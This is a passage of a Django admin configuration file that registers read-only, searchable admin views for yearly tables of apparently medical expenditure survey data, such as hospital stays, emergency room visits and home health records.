in model._meta.get_fields()] list_display = field_names # Navigation search_fields = ["DUPERSID"] list_per_page = 15 class AdminOtherMedicalExpenses14(admin.ModelAdmin): """ Admin settings for OtherMedicalExpenses14 model""" def has_change_permission(self, request, obj=None): """ Do not allow users to edit model instances """ return False def has_delete_permission(self, request, obj=None): """ Do not allow users to delete model instances """ return False model = OtherMedicalExpenses14 # Column names to display on table field_names = [field.name for field in model._meta.get_fields()] list_display = field_names # Navigation search_fields = ["DUPERSID"] list_per_page = 15 class AdminOtherMedicalExpenses13(admin.ModelAdmin): """ Admin settings for OtherMedicalExpenses13 model""" def has_change_permission(self, request, obj=None): """ Do not allow users to edit model instances """ return False def has_delete_permission(self, request, obj=None): """ Do not allow users to delete model instances """ return False model = OtherMedicalExpenses13 # Column names to display on table field_names = [field.name for field in model._meta.get_fields()] list_display = field_names # Navigation search_fields = ["DUPERSID"] list_per_page = 15 class AdminOtherMedicalExpenses12(admin.ModelAdmin): """ Admin settings for OtherMedicalExpenses12 model""" def has_change_permission(self, request, obj=None): """ Do not allow users to edit model instances """ return False def has_delete_permission(self, request, obj=None): """ Do not allow users to delete model instances """ return False model = OtherMedicalExpenses12 # Column names to display on table field_names = [field.name for field in model._meta.get_fields()] list_display = field_names # Navigation search_fields = ["DUPERSID"] list_per_page = 15 class AdminOtherMedicalExpenses11(admin.ModelAdmin): """ Admin settings for OtherMedicalExpenses11 model""" def has_change_permission(self, request, obj=None): """ Do not allow users to edit model instances """ return False def has_delete_permission(self, request, obj=None): """ Do not allow users to delete model instances """ return False model = OtherMedicalExpenses11 # Column names to display on table field_names = [field.name for field in model._meta.get_fields()] list_display = field_names # Navigation search_fields = ["DUPERSID"] list_per_page = 15 class AdminOtherMedicalExpenses10(admin.ModelAdmin): """ Admin settings for OtherMedicalExpenses10 model""" def has_change_permission(self, request, obj=None): """ Do not allow users to edit model instances """ return False def has_delete_permission(self, request, obj=None): """ Do not allow users to delete model instances """ return False model = OtherMedicalExpenses10 # Column names to display on table field_names = [field.name for field in model._meta.get_fields()] list_display = field_names # Navigation search_fields = ["DUPERSID"] list_per_page = 15 class AdminOtherMedicalExpenses09(admin.ModelAdmin): """ Admin settings for OtherMedicalExpenses09 model""" def has_change_permission(self, request, obj=None): """ Do not allow users to edit model instances """ return False def has_delete_permission(self, request, obj=None): """ Do not allow users to delete model instances """ return False model = OtherMedicalExpenses09 # Column names to display on table field_names = [field.name for field in model._meta.get_fields()] list_display = field_names # Navigation search_fields = ["DUPERSID"] list_per_page = 15 class AdminOtherMedicalExpenses08(admin.ModelAdmin): """ Admin settings for OtherMedicalExpenses08 model""" def has_change_permission(self, request, obj=None): """ Do not allow users to edit model instances """ return False def has_delete_permission(self, request, obj=None): """ Do not allow users to delete model instances """ return False model = OtherMedicalExpenses08 # Column names to display on table field_names = [field.name for field in model._meta.get_fields()] list_display = field_names # Navigation search_fields = ["DUPERSID"] list_per_page = 15 class AdminOtherMedicalExpenses07(admin.ModelAdmin): """ Admin settings for OtherMedicalExpenses07 model""" def has_change_permission(self, request, obj=None): """ Do not allow users to edit model instances """ return False def has_delete_permission(self, request, obj=None): """ Do not allow users to delete model instances """ return False model = OtherMedicalExpenses07 # Column names to display on table field_names = [field.name for field in model._meta.get_fields()] list_display = field_names # Navigation search_fields = ["DUPERSID"] list_per_page = 15 class AdminOtherMedicalExpenses06(admin.ModelAdmin): """ Admin settings for OtherMedicalExpenses06 model""" def has_change_permission(self, request, obj=None): """ Do not allow users to edit model instances """ return False def has_delete_permission(self, request, obj=None): """ Do not allow users to delete model instances """ return False model = OtherMedicalExpenses06 # Column names to display on table field_names = [field.name for field in model._meta.get_fields()] list_display = field_names # Navigation search_fields = ["DUPERSID"] list_per_page = 15 class AdminOtherMedicalExpenses05(admin.ModelAdmin): """ Admin settings for OtherMedicalExpenses05 model""" def has_change_permission(self, request, obj=None): """ Do not allow users to edit model instances """ return False def has_delete_permission(self, request, obj=None): """ Do not allow users to delete model instances """ return False model = OtherMedicalExpenses05 # Column names to display on table field_names = [field.name for field in model._meta.get_fields()] list_display = field_names # Navigation search_fields = ["DUPERSID"] list_per_page = 15 class AdminHospitalInpatientStays18(admin.ModelAdmin): """ Admin settings for HospitalInpatientStays18 model""" def has_change_permission(self, request, obj=None): """ Do not allow users to edit model instances """ return False def has_delete_permission(self, request, obj=None): """ Do not allow users to delete model instances """ return False model = HospitalInpatientStays18 # Column names to display on table field_names = [field.name for field in model._meta.get_fields()] list_display = field_names # Navigation search_fields = ["DUPERSID"] list_per_page = 15 class AdminHospitalInpatientStays17(admin.ModelAdmin): """ Admin settings for HospitalInpatientStays17 model""" def has_change_permission(self, request, obj=None): """ Do not allow users to edit model instances """ return False def has_delete_permission(self, request, obj=None): """ Do not allow users to delete model instances """ return False model = HospitalInpatientStays17 # Column names to display on table field_names = [field.name for field in model._meta.get_fields()] list_display = field_names # Navigation search_fields = ["DUPERSID"] list_per_page = 15 class AdminHospitalInpatientStays16(admin.ModelAdmin): """ Admin settings for HospitalInpatientStays16 model""" def has_change_permission(self, request, obj=None): """ Do not allow users to edit model instances """ return False def has_delete_permission(self, request, obj=None): """ Do not allow users to delete model instances """ return False model = HospitalInpatientStays16 # Column names to display on table field_names = [field.name for field in model._meta.get_fields()] list_display = field_names # Navigation search_fields = ["DUPERSID"] list_per_page = 15 class AdminHospitalInpatientStays15(admin.ModelAdmin): """ Admin settings for HospitalInpatientStays15 model""" def has_change_permission(self, request, obj=None): """ Do not allow users to edit model instances """ return False def has_delete_permission(self, request, obj=None): """ Do not allow users to delete model instances """ return False model = HospitalInpatientStays15 # Column names to display on table field_names = [field.name for field in model._meta.get_fields()] list_display = field_names # Navigation search_fields = ["DUPERSID"] list_per_page = 15 class AdminHospitalInpatientStays14(admin.ModelAdmin): """ Admin settings for HospitalInpatientStays14 model""" def has_change_permission(self, request, obj=None): """ Do not allow users to edit model instances """ return False def has_delete_permission(self, request, obj=None): """ Do not allow users to delete model instances """ return False model = HospitalInpatientStays14 # Column names to display on table field_names = [field.name for field in model._meta.get_fields()] list_display = field_names # Navigation search_fields = ["DUPERSID"] list_per_page = 15 class AdminHospitalInpatientStays13(admin.ModelAdmin): """ Admin settings for HospitalInpatientStays13 model""" def has_change_permission(self, request, obj=None): """ Do not allow users to edit model instances """ return False def has_delete_permission(self, request, obj=None): """ Do not allow users to delete model instances """ return False model = HospitalInpatientStays13 # Column names to display on table field_names = [field.name for field in model._meta.get_fields()] list_display = field_names # Navigation search_fields = ["DUPERSID"] list_per_page = 15 class AdminHospitalInpatientStays12(admin.ModelAdmin): """ Admin settings for HospitalInpatientStays12 model""" def has_change_permission(self, request, obj=None): """ Do not allow users to edit model instances """ return False def has_delete_permission(self, request, obj=None): """ Do not allow users to delete model instances """ return False model = HospitalInpatientStays12 # Column names to display on table field_names = [field.name for field in model._meta.get_fields()] list_display = field_names # Navigation search_fields = ["DUPERSID"] list_per_page = 15 class AdminHospitalInpatientStays11(admin.ModelAdmin): """ Admin settings for HospitalInpatientStays11 model""" def has_change_permission(self, request, obj=None): """ Do not allow users to edit model instances """ return False def has_delete_permission(self, request, obj=None): """ Do not allow users to delete model instances """ return False model = HospitalInpatientStays11 # Column names to display on table field_names = [field.name for field in model._meta.get_fields()] list_display = field_names # Navigation search_fields = ["DUPERSID"] list_per_page = 15 class AdminHospitalInpatientStays10(admin.ModelAdmin): """ Admin settings for HospitalInpatientStays10 model""" def has_change_permission(self, request, obj=None): """ Do not allow users to edit model instances """ return False def has_delete_permission(self, request, obj=None): """ Do not allow users to delete model instances """ return False model = HospitalInpatientStays10 # Column names to display on table field_names = [field.name for field in model._meta.get_fields()] list_display = field_names # Navigation search_fields = ["DUPERSID"] list_per_page = 15 class AdminHospitalInpatientStays09(admin.ModelAdmin): """ Admin settings for HospitalInpatientStays09 model""" def has_change_permission(self, request, obj=None): """ Do not allow users to edit model instances """ return False def has_delete_permission(self, request, obj=None): """ Do not allow users to delete model instances """ return False model = HospitalInpatientStays09 # Column names to display on table field_names = [field.name for field in model._meta.get_fields()] list_display = field_names # Navigation search_fields = ["DUPERSID"] list_per_page = 15 class AdminHospitalInpatientStays08(admin.ModelAdmin): """ Admin settings for HospitalInpatientStays08 model""" def has_change_permission(self, request, obj=None): """ Do not allow users to edit model instances """ return False def has_delete_permission(self, request, obj=None): """ Do not allow users to delete model instances """ return False model = HospitalInpatientStays08 # Column names to display on table field_names = [field.name for field in model._meta.get_fields()] list_display = field_names # Navigation search_fields = ["DUPERSID"] list_per_page = 15 class AdminHospitalInpatientStays07(admin.ModelAdmin): """ Admin settings for HospitalInpatientStays07 model""" def has_change_permission(self, request, obj=None): """ Do not allow users to edit model instances """ return False def has_delete_permission(self, request, obj=None): """ Do not allow users to delete model instances """ return False model = HospitalInpatientStays07 # Column names to display on table field_names = [field.name for field in model._meta.get_fields()] list_display = field_names # Navigation search_fields = ["DUPERSID"] list_per_page = 15 class AdminHospitalInpatientStays06(admin.ModelAdmin): """ Admin settings for HospitalInpatientStays06 model""" def has_change_permission(self, request, obj=None): """ Do not allow users to edit model instances """ return False def has_delete_permission(self, request, obj=None): """ Do not allow users to delete model instances """ return False model = HospitalInpatientStays06 # Column names to display on table field_names = [field.name for field in model._meta.get_fields()] list_display = field_names # Navigation search_fields = ["DUPERSID"] list_per_page = 15 class AdminHospitalInpatientStays05(admin.ModelAdmin): """ Admin settings for HospitalInpatientStays05 model""" def has_change_permission(self, request, obj=None): """ Do not allow users to edit model instances """ return False def has_delete_permission(self, request, obj=None): """ Do not allow users to delete model instances """ return False model = HospitalInpatientStays05 # Column names to display on table field_names = [field.name for field in model._meta.get_fields()] list_display = field_names # Navigation search_fields = ["DUPERSID"] list_per_page = 15 class AdminEmergencyRoomVisits18(admin.ModelAdmin): """ Admin settings for EmergencyRoomVisits18 model""" def has_change_permission(self, request, obj=None): """ Do not allow users to edit model instances """ return False def has_delete_permission(self, request, obj=None): """ Do not allow users to delete model instances """ return False model = EmergencyRoomVisits18 # Column names to display on table field_names = [field.name for field in model._meta.get_fields()] list_display = field_names # Navigation search_fields = ["DUPERSID"] list_per_page = 15 class AdminEmergencyRoomVisits17(admin.ModelAdmin): """ Admin settings for EmergencyRoomVisits17 model""" def has_change_permission(self, request, obj=None): """ Do not allow users to edit model instances """ return False def has_delete_permission(self, request, obj=None): """ Do not allow users to delete model instances """ return False model = EmergencyRoomVisits17 # Column names to display on table field_names = [field.name for field in model._meta.get_fields()] list_display = field_names # Navigation search_fields = ["DUPERSID"] list_per_page = 15 class AdminEmergencyRoomVisits16(admin.ModelAdmin): """ Admin settings for EmergencyRoomVisits16 model""" def has_change_permission(self, request, obj=None): """ Do not allow users to edit model instances """ return False def has_delete_permission(self, request, obj=None): """ Do not allow users to delete model instances """ return False model = EmergencyRoomVisits16 # Column names to display on table field_names = [field.name for field in model._meta.get_fields()] list_display = field_names # Navigation search_fields = ["DUPERSID"] list_per_page = 15 class AdminEmergencyRoomVisits15(admin.ModelAdmin): """ Admin settings for EmergencyRoomVisits15 model""" def has_change_permission(self, request, obj=None): """ Do not allow users to edit model instances """ return False def has_delete_permission(self, request, obj=None): """ Do not allow users to delete model instances """ return False model = EmergencyRoomVisits15 # Column names to display on table field_names = [field.name for field in model._meta.get_fields()] list_display = field_names # Navigation search_fields = ["DUPERSID"] list_per_page = 15 class AdminEmergencyRoomVisits14(admin.ModelAdmin): """ Admin settings for EmergencyRoomVisits14 model""" def has_change_permission(self, request, obj=None): """ Do not allow users to edit model instances """ return False def has_delete_permission(self, request, obj=None): """ Do not allow users to delete model instances """ return False model = EmergencyRoomVisits14 # Column names to display on table field_names = [field.name for field in model._meta.get_fields()] list_display = field_names # Navigation search_fields = ["DUPERSID"] list_per_page = 15 class AdminEmergencyRoomVisits13(admin.ModelAdmin): """ Admin settings for EmergencyRoomVisits13 model""" def has_change_permission(self, request, obj=None): """ Do not allow users to edit model instances """ return False def has_delete_permission(self, request, obj=None): """ Do not allow users to delete model instances """ return False model = EmergencyRoomVisits13 # Column names to display on table field_names = [field.name for field in model._meta.get_fields()] list_display = field_names # Navigation search_fields = ["DUPERSID"] list_per_page = 15 class AdminEmergencyRoomVisits12(admin.ModelAdmin): """ Admin settings for EmergencyRoomVisits12 model""" def has_change_permission(self, request, obj=None): """ Do not allow users to edit model instances """ return False def has_delete_permission(self, request, obj=None): """ Do not allow users to delete model instances """ return False model = EmergencyRoomVisits12 # Column names to display on table field_names = [field.name for field in model._meta.get_fields()] list_display = field_names # Navigation search_fields = ["DUPERSID"] list_per_page = 15 class AdminEmergencyRoomVisits11(admin.ModelAdmin): """ Admin settings for EmergencyRoomVisits11 model""" def has_change_permission(self, request, obj=None): """ Do not allow users to edit model instances """ return False def has_delete_permission(self, request, obj=None): """ Do not allow users to delete model instances """ return False model = EmergencyRoomVisits11 # Column names to display on table field_names = [field.name for field in model._meta.get_fields()] list_display = field_names # Navigation search_fields = ["DUPERSID"] list_per_page = 15 class AdminEmergencyRoomVisits10(admin.ModelAdmin): """ Admin settings for EmergencyRoomVisits10 model""" def has_change_permission(self, request, obj=None): """ Do not allow users to edit model instances """ return False def has_delete_permission(self, request, obj=None): """ Do not allow users to delete model instances """ return False model = EmergencyRoomVisits10 # Column names to display on table field_names = [field.name for field in model._meta.get_fields()] list_display = field_names # Navigation search_fields = ["DUPERSID"] list_per_page = 15 class AdminEmergencyRoomVisits09(admin.ModelAdmin): """ Admin settings for EmergencyRoomVisits09 model""" def has_change_permission(self, request, obj=None): """ Do not allow users to edit model instances """ return False def has_delete_permission(self, request, obj=None): """ Do not allow users to delete model instances """ return False model = EmergencyRoomVisits09 # Column names to display on table field_names = [field.name for field in model._meta.get_fields()] list_display = field_names # Navigation search_fields = ["DUPERSID"] list_per_page = 15 class AdminEmergencyRoomVisits08(admin.ModelAdmin): """ Admin settings for EmergencyRoomVisits08 model""" def has_change_permission(self, request, obj=None): """ Do not allow users to edit model instances """ return False def has_delete_permission(self, request, obj=None): """ Do not allow users to delete model instances """ return False model = EmergencyRoomVisits08 # Column names to display on table field_names = [field.name for field in model._meta.get_fields()] list_display = field_names # Navigation search_fields = ["DUPERSID"] list_per_page = 15 class AdminEmergencyRoomVisits07(admin.ModelAdmin): """ Admin settings for EmergencyRoomVisits07 model""" def has_change_permission(self, request, obj=None): """ Do not allow users to edit model instances """ return False def has_delete_permission(self, request, obj=None): """ Do not allow users to delete model instances """ return False model = EmergencyRoomVisits07 # Column names to display on table field_names = [field.name for field in model._meta.get_fields()] list_display = field_names # Navigation search_fields = ["DUPERSID"] list_per_page = 15 class AdminEmergencyRoomVisits06(admin.ModelAdmin): """ Admin settings for EmergencyRoomVisits06 model""" def has_change_permission(self, request, obj=None): """ Do not allow users to edit model instances """ return False def has_delete_permission(self, request, obj=None): """ Do not allow users to delete model instances """ return False model = EmergencyRoomVisits06 # Column names to display on table field_names = [field.name for field in model._meta.get_fields()] list_display = field_names # Navigation search_fields = ["DUPERSID"] list_per_page = 15 class AdminEmergencyRoomVisits05(admin.ModelAdmin): """ Admin settings for EmergencyRoomVisits05 model""" def has_change_permission(self, request, obj=None): """ Do not allow users to edit model instances """ return False def has_delete_permission(self, request, obj=None): """ Do not allow users to delete model instances """ return False model = EmergencyRoomVisits05 # Column names to display on table field_names = [field.name for field in model._meta.get_fields()] list_display = field_names # Navigation search_fields = ["DUPERSID"] list_per_page = 15 class AdminOutpatientVisits18(admin.ModelAdmin): """ Admin settings for OutpatientVisits18 model""" def has_change_permission(self, request, obj=None): """ Do not allow users to edit model instances """ return False def has_delete_permission(self, request, obj=None): """ Do not allow users to delete model instances """ return False model = OutpatientVisits18 # Column names to display on table field_names = [field.name for field in model._meta.get_fields()] list_display = field_names # Navigation search_fields = ["DUPERSID"] list_per_page = 15 class AdminOutpatientVisits17(admin.ModelAdmin): """ Admin settings for OutpatientVisits17 model""" def has_change_permission(self, request, obj=None): """ Do not allow users to edit model instances """ return False def has_delete_permission(self, request, obj=None): """ Do not allow users to delete model instances """ return False model = OutpatientVisits17 # Column names to display on table field_names = [field.name for field in model._meta.get_fields()] list_display = field_names # Navigation search_fields = ["DUPERSID"] list_per_page = 15 class AdminOutpatientVisits16(admin.ModelAdmin): """ Admin settings for OutpatientVisits16 model""" def has_change_permission(self, request, obj=None): """ Do not allow users to edit model instances """ return False def has_delete_permission(self, request, obj=None): """ Do not allow users to delete model instances """ return False model = OutpatientVisits16 # Column names to display on table field_names = [field.name for field in model._meta.get_fields()] list_display = field_names # Navigation search_fields = ["DUPERSID"] list_per_page = 15 class AdminOutpatientVisits15(admin.ModelAdmin): """ Admin settings for OutpatientVisits15 model""" def has_change_permission(self, request, obj=None): """ Do not allow users to edit model instances """ return False def has_delete_permission(self, request, obj=None): """ Do not allow users to delete model instances """ return False model = OutpatientVisits15 # Column names to display on table field_names = [field.name for field in model._meta.get_fields()] list_display = field_names # Navigation search_fields = ["DUPERSID"] list_per_page = 15 class AdminOutpatientVisits14(admin.ModelAdmin): """ Admin settings for OutpatientVisits14 model""" def has_change_permission(self, request, obj=None): """ Do not allow users to edit model instances """ return False def has_delete_permission(self, request, obj=None): """ Do not allow users to delete model instances """ return False model = OutpatientVisits14 # Column names to display on table field_names = [field.name for field in model._meta.get_fields()] list_display = field_names # Navigation search_fields = ["DUPERSID"] list_per_page = 15 class AdminOutpatientVisits13(admin.ModelAdmin): """ Admin settings for OutpatientVisits13 model""" def has_change_permission(self, request, obj=None): """ Do not allow users to edit model instances """ return False def has_delete_permission(self, request, obj=None): """ Do not allow users to delete model instances """ return False model = OutpatientVisits13 # Column names to display on table field_names = [field.name for field in model._meta.get_fields()] list_display = field_names # Navigation search_fields = ["DUPERSID"] list_per_page = 15 class AdminOutpatientVisits12(admin.ModelAdmin): """ Admin settings for OutpatientVisits12 model""" def has_change_permission(self, request, obj=None): """ Do not allow users to edit model instances """ return False def has_delete_permission(self, request, obj=None): """ Do not allow users to delete model instances """ return False model = OutpatientVisits12 # Column names to display on table field_names = [field.name for field in model._meta.get_fields()] list_display = field_names # Navigation search_fields = ["DUPERSID"] list_per_page = 15 class AdminOutpatientVisits11(admin.ModelAdmin): """ Admin settings for OutpatientVisits11 model""" def has_change_permission(self, request, obj=None): """ Do not allow users to edit model instances """ return False def has_delete_permission(self, request, obj=None): """ Do not allow users to delete model instances """ return False model = OutpatientVisits11 # Column names to display on table field_names = [field.name for field in model._meta.get_fields()] list_display = field_names # Navigation search_fields = ["DUPERSID"] list_per_page = 15 class AdminOutpatientVisits10(admin.ModelAdmin): """ Admin settings for OutpatientVisits10 model""" def has_change_permission(self, request, obj=None): """ Do not allow users to edit model instances """ return False def has_delete_permission(self, request, obj=None): """ Do not allow users to delete model instances """ return False model = OutpatientVisits10 # Column names to display on table field_names = [field.name for field in model._meta.get_fields()] list_display = field_names # Navigation search_fields = ["DUPERSID"] list_per_page = 15 class AdminOutpatientVisits09(admin.ModelAdmin): """ Admin settings for OutpatientVisits09 model""" def has_change_permission(self, request, obj=None): """ Do not allow users to edit model instances """ return False def has_delete_permission(self, request, obj=None): """ Do not allow users to delete model instances """ return False model = OutpatientVisits09 # Column names to display on table field_names = [field.name for field in model._meta.get_fields()] list_display = field_names # Navigation search_fields = ["DUPERSID"] list_per_page = 15 class AdminOutpatientVisits08(admin.ModelAdmin): """ Admin settings for OutpatientVisits08 model""" def has_change_permission(self, request, obj=None): """ Do not allow users to edit model instances """ return False def has_delete_permission(self, request, obj=None): """ Do not allow users to delete model instances """ return False model = OutpatientVisits08 # Column names to display on table field_names = [field.name for field in model._meta.get_fields()] list_display = field_names # Navigation search_fields = ["DUPERSID"] list_per_page = 15 class AdminOutpatientVisits07(admin.ModelAdmin): """ Admin settings for OutpatientVisits07 model""" def has_change_permission(self, request, obj=None): """ Do not allow users to edit model instances """ return False def has_delete_permission(self, request, obj=None): """ Do not allow users to delete model instances """ return False model = OutpatientVisits07 # Column names to display on table field_names = [field.name for field in model._meta.get_fields()] list_display = field_names # Navigation search_fields = ["DUPERSID"] list_per_page = 15 class AdminOutpatientVisits06(admin.ModelAdmin): """ Admin settings for OutpatientVisits06 model""" def has_change_permission(self, request, obj=None): """ Do not allow users to edit model instances """ return False def has_delete_permission(self, request, obj=None): """ Do not allow users to delete model instances """ return False model = OutpatientVisits06 # Column names to display on table field_names = [field.name for field in model._meta.get_fields()] list_display = field_names # Navigation search_fields = ["DUPERSID"] list_per_page = 15 class AdminOutpatientVisits05(admin.ModelAdmin): """ Admin settings for OutpatientVisits05 model""" def has_change_permission(self, request, obj=None): """ Do not allow users to edit model instances """ return False def has_delete_permission(self, request, obj=None): """ Do not allow users to delete model instances """ return False model = OutpatientVisits05 # Column names to display on table field_names = [field.name for field in model._meta.get_fields()] list_display = field_names # Navigation search_fields = ["DUPERSID"] list_per_page = 15 class AdminOfficeBasedVisits18(admin.ModelAdmin): """ Admin settings for OfficeBasedVisits18 model""" def has_change_permission(self, request, obj=None): """ Do not allow users to edit model instances """ return False def has_delete_permission(self, request, obj=None): """ Do not allow users to delete model instances """ return False model = OfficeBasedVisits18 # Column names to display on table field_names = [field.name for field in model._meta.get_fields()] list_display = field_names # Navigation search_fields = ["DUPERSID"] list_per_page = 15 class AdminOfficeBasedVisits17(admin.ModelAdmin): """ Admin settings for OfficeBasedVisits17 model""" def has_change_permission(self, request, obj=None): """ Do not allow users to edit model instances """ return False def has_delete_permission(self, request, obj=None): """ Do not allow users to delete model instances """ return False model = OfficeBasedVisits17 # Column names to display on table field_names = [field.name for field in model._meta.get_fields()] list_display = field_names # Navigation search_fields = ["DUPERSID"] list_per_page = 15 class AdminOfficeBasedVisits16(admin.ModelAdmin): """ Admin settings for OfficeBasedVisits16 model""" def has_change_permission(self, request, obj=None): """ Do not allow users to edit model instances """ return False def has_delete_permission(self, request, obj=None): """ Do not allow users to delete model instances """ return False model = OfficeBasedVisits16 # Column names to display on table field_names = [field.name for field in model._meta.get_fields()] list_display = field_names # Navigation search_fields = ["DUPERSID"] list_per_page = 15 class AdminOfficeBasedVisits15(admin.ModelAdmin): """ Admin settings for OfficeBasedVisits15 model""" def has_change_permission(self, request, obj=None): """ Do not allow users to edit model instances """ return False def has_delete_permission(self, request, obj=None): """ Do not allow users to delete model instances """ return False model = OfficeBasedVisits15 # Column names to display on table field_names = [field.name for field in model._meta.get_fields()] list_display = field_names # Navigation search_fields = ["DUPERSID"] list_per_page = 15 class AdminOfficeBasedVisits14(admin.ModelAdmin): """ Admin settings for OfficeBasedVisits14 model""" def has_change_permission(self, request, obj=None): """ Do not allow users to edit model instances """ return False def has_delete_permission(self, request, obj=None): """ Do not allow users to delete model instances """ return False model = OfficeBasedVisits14 # Column names to display on table field_names = [field.name for field in model._meta.get_fields()] list_display = field_names # Navigation search_fields = ["DUPERSID"] list_per_page = 15 class AdminOfficeBasedVisits13(admin.ModelAdmin): """ Admin settings for OfficeBasedVisits13 model""" def has_change_permission(self, request, obj=None): """ Do not allow users to edit model instances """ return False def has_delete_permission(self, request, obj=None): """ Do not allow users to delete model instances """ return False model = OfficeBasedVisits13 # Column names to display on table field_names = [field.name for field in model._meta.get_fields()] list_display = field_names # Navigation search_fields = ["DUPERSID"] list_per_page = 15 class AdminOfficeBasedVisits12(admin.ModelAdmin): """ Admin settings for OfficeBasedVisits12 model""" def has_change_permission(self, request, obj=None): """ Do not allow users to edit model instances """ return False def has_delete_permission(self, request, obj=None): """ Do not allow users to delete model instances """ return False model = OfficeBasedVisits12 # Column names to display on table field_names = [field.name for field in model._meta.get_fields()] list_display = field_names # Navigation search_fields = ["DUPERSID"] list_per_page = 15 class AdminOfficeBasedVisits11(admin.ModelAdmin): """ Admin settings for OfficeBasedVisits11 model""" def has_change_permission(self, request, obj=None): """ Do not allow users to edit model instances """ return False def has_delete_permission(self, request, obj=None): """ Do not allow users to delete model instances """ return False model = OfficeBasedVisits11 # Column names to display on table field_names = [field.name for field in model._meta.get_fields()] list_display = field_names # Navigation search_fields = ["DUPERSID"] list_per_page = 15 class AdminOfficeBasedVisits10(admin.ModelAdmin): """ Admin settings for OfficeBasedVisits10 model""" def has_change_permission(self, request, obj=None): """ Do not allow users to edit model instances """ return False def has_delete_permission(self, request, obj=None): """ Do not allow users to delete model instances """ return False model = OfficeBasedVisits10 # Column names to display on table field_names = [field.name for field in model._meta.get_fields()] list_display = field_names # Navigation search_fields = ["DUPERSID"] list_per_page = 15 class AdminOfficeBasedVisits09(admin.ModelAdmin): """ Admin settings for OfficeBasedVisits09 model""" def has_change_permission(self, request, obj=None): """ Do not allow users to edit model instances """ return False def has_delete_permission(self, request, obj=None): """ Do not allow users to delete model instances """ return False model = OfficeBasedVisits09 # Column names to display on table field_names = [field.name for field in model._meta.get_fields()] list_display = field_names # Navigation search_fields = ["DUPERSID"] list_per_page = 15 class AdminOfficeBasedVisits08(admin.ModelAdmin): """ Admin settings for OfficeBasedVisits08 model""" def has_change_permission(self, request, obj=None): """ Do not allow users to edit model instances """ return False def has_delete_permission(self, request, obj=None): """ Do not allow users to delete model instances """ return False model = OfficeBasedVisits08 # Column names to display on table field_names = [field.name for field in model._meta.get_fields()] list_display = field_names # Navigation search_fields = ["DUPERSID"] list_per_page = 15 class AdminOfficeBasedVisits07(admin.ModelAdmin): """ Admin settings for OfficeBasedVisits07 model""" def has_change_permission(self, request, obj=None): """ Do not allow users to edit model instances """ return False def has_delete_permission(self, request, obj=None): """ Do not allow users to delete model instances """ return False model = OfficeBasedVisits07 # Column names to display on table field_names = [field.name for field in model._meta.get_fields()] list_display = field_names # Navigation search_fields = ["DUPERSID"] list_per_page = 15 class AdminOfficeBasedVisits06(admin.ModelAdmin): """ Admin settings for OfficeBasedVisits06 model""" def has_change_permission(self, request, obj=None): """ Do not allow users to edit model instances """ return False def has_delete_permission(self, request, obj=None): """ Do not allow users to delete model instances """ return False model = OfficeBasedVisits06 # Column names to display on table field_names = [field.name for field in model._meta.get_fields()] list_display = field_names # Navigation search_fields = ["DUPERSID"] list_per_page = 15 class AdminOfficeBasedVisits05(admin.ModelAdmin): """ Admin settings for OfficeBasedVisits05 model""" def has_change_permission(self, request, obj=None): """ Do not allow users to edit model instances """ return False def has_delete_permission(self, request, obj=None): """ Do not allow users to delete model instances """ return False model = OfficeBasedVisits05 # Column names to display on table field_names = [field.name for field in model._meta.get_fields()] list_display = field_names # Navigation search_fields = ["DUPERSID"] list_per_page = 15 class AdminHomeHealth18(admin.ModelAdmin): """ Admin settings for HomeHealth18 model""" def has_change_permission(self, request, obj=None): """ Do not allow users to edit model instances """ return False def has_delete_permission(self, request, obj=None): """ Do not allow users to delete model instances """ return False model = HomeHealth18 # Column names to display on table field_names = [field.name for field in model._meta.get_fields()] list_display = field_names # Navigation search_fields = ["DUPERSID"] list_per_page = 15 class AdminHomeHealth17(admin.ModelAdmin): """ Admin settings for HomeHealth17 model""" def has_change_permission(self, request, obj=None): """ Do not allow users to edit model instances """ return False def has_delete_permission(self, request, obj=None): """ Do not allow users to delete model instances """ return False model = HomeHealth17 # Column names to display on table field_names = [field.name for field in model._meta.get_fields()] list_display = field_names # Navigation search_fields = ["DUPERSID"] list_per_page = 15 class AdminHomeHealth16(admin.ModelAdmin): """ Admin settings for HomeHealth16 model""" def has_change_permission(self, request, obj=None): """ Do not allow users to edit model instances """ return False def has_delete_permission(self, request, obj=None): """ Do not allow users to delete model instances """ return False model = HomeHealth16 # Column names to display on table field_names = [field.name for field in model._meta.get_fields()] list_display = field_names # Navigation search_fields = ["DUPERSID"] list_per_page = 15 class AdminHomeHealth15(admin.ModelAdmin): """ Admin settings for HomeHealth15 model""" def has_change_permission(self, request, obj=None): """ Do not allow users to edit model instances """ return False def has_delete_permission(self, request, obj=None): """ Do not allow users to delete model instances """ return False model = HomeHealth15 # Column names to display on table field_names = [field.name for field in model._meta.get_fields()] list_display = field_names # Navigation search_fields = ["DUPERSID"] list_per_page = 15 class AdminHomeHealth14(admin.ModelAdmin): """ Admin settings for HomeHealth14 model""" def has_change_permission(self, request, obj=None): """ Do not allow users to edit model instances """ return False def has_delete_permission(self, request, obj=None): """ Do not allow users to delete model instances """ return False model = HomeHealth14 # Column names to display on table field_names = [field.name for field in model._meta.get_fields()] list_display = field_names # Navigation search_fields = ["DUPERSID"] list_per_page = 15 class AdminHomeHealth13(admin.ModelAdmin): """ Admin settings for HomeHealth13 model""" def has_change_permission(self, request, obj=None): """ Do not allow users to edit model instances """ return False def has_delete_permission(self, request, obj=None): """ Do not allow users to delete model instances """ return False model = HomeHealth13 # Column names to display on table field_names = [field.name for field in model._meta.get_fields()] list_display = field_names # Navigation search_fields = ["DUPERSID"] list_per_page = 15 class AdminHomeHealth12(admin.ModelAdmin): """ Admin settings for HomeHealth12 model""" def has_change_permission(self, request, obj=None): """ Do not allow users to edit model instances """ return False def has_delete_permission(self, request, obj=None): """ Do not allow users to delete model instances """ return False model = HomeHealth12 # Column names to display on table field_names = [field.name for field in model._meta.get_fields()] list_display = field_names # Navigation search_fields = ["DUPERSID"] list_per_page = 15 class AdminHomeHealth11(admin.ModelAdmin): """ Admin settings for HomeHealth11 model""" def has_change_permission(self, request, obj=None): """ Do not allow users to edit model instances """ return False def has_delete_permission(self, request, obj=None): """ Do not allow users to delete model instances """ return False model = HomeHealth11 # Column names to display on table field_names = [field.name for field in model._meta.get_fields()] list_display = field_names # Navigation search_fields = ["DUPERSID"] list_per_page = 15 class AdminHomeHealth10(admin.ModelAdmin): """ Admin settings for HomeHealth10 model""" def has_change_permission(self, request, obj=None): """ Do not allow users to edit model instances """ return False def has_delete_permission(self, request, obj=None): """ Do not allow users to delete model instances """ return False model = HomeHealth10 # Column names to display on table field_names = [field.name for field in model._meta.get_fields()] list_display = field_names # Navigation search_fields = ["DUPERSID"] list_per_page 